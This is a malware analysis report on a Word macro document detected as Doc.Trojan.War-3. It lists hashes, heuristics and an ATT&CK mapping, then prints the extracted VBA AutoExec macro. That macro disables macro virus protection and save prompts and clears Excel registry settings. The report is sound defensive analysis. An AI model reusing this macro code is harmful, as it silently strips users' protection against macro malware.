Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 a8b4731bb72a76e3…

MALICIOUS

Office (OLE)

37.0 KB Created: 2000-03-22 06:01:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: d86426af71536a281beab6d7d1d5a98f SHA-1: 75c609150d437744128e365d2decc037e6d36c7c SHA-256: a8b4731bb72a76e3f4743de61f75851da1b82668bd9943f5253a19d2f32ee6aa
140 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a Microsoft Word document containing VBA macros. The AutoExec subroutine attempts to disable macro virus protection and modify Excel settings, indicating a potential attempt to prepare the system for further malicious activity. The ClamAV detection as 'Doc.Trojan.War-3' further supports its malicious nature.

Heuristics 2

  • ClamAV: Doc.Trojan.War-3 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.War-3
  • VBA macros detected medium OLE_VBA_MACROS
    Document contains VBA macro code

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 758 bytes
SHA-256: 3cd7940abbfde71a255026e3dfc804d007f9f619973d3cb35b3120c078058c63
Detection
ClamAV: Doc.Trojan.War-3
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "0{00020906-0000-0000-C000-000000000046}"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
Sub AutoExec()
On Error Resume Next
Options.ConfirmConversions = (1 - 1): Options.VirusProtection = (1 - 1): Options.SaveNormalPrompt = (1 - 1)
System.ProfileString("Options", "EnableMacroVirusProtection") = "0"
System.PrivateProfileString("", "HKEY_CURRENT_USER\Software\Microsoft\Office\8.0\Excel\Microsoft Excel", "Options6") = ""
System.PrivateProfileString("", "HKEY_LOCAL_MACHINE\Software\Microsoft\Office\8.0\New User Settings\Excel\Microsoft Excel", "Options6") = ""
End Sub

Open this report in the interactive analyzer, or submit your own file for analysis.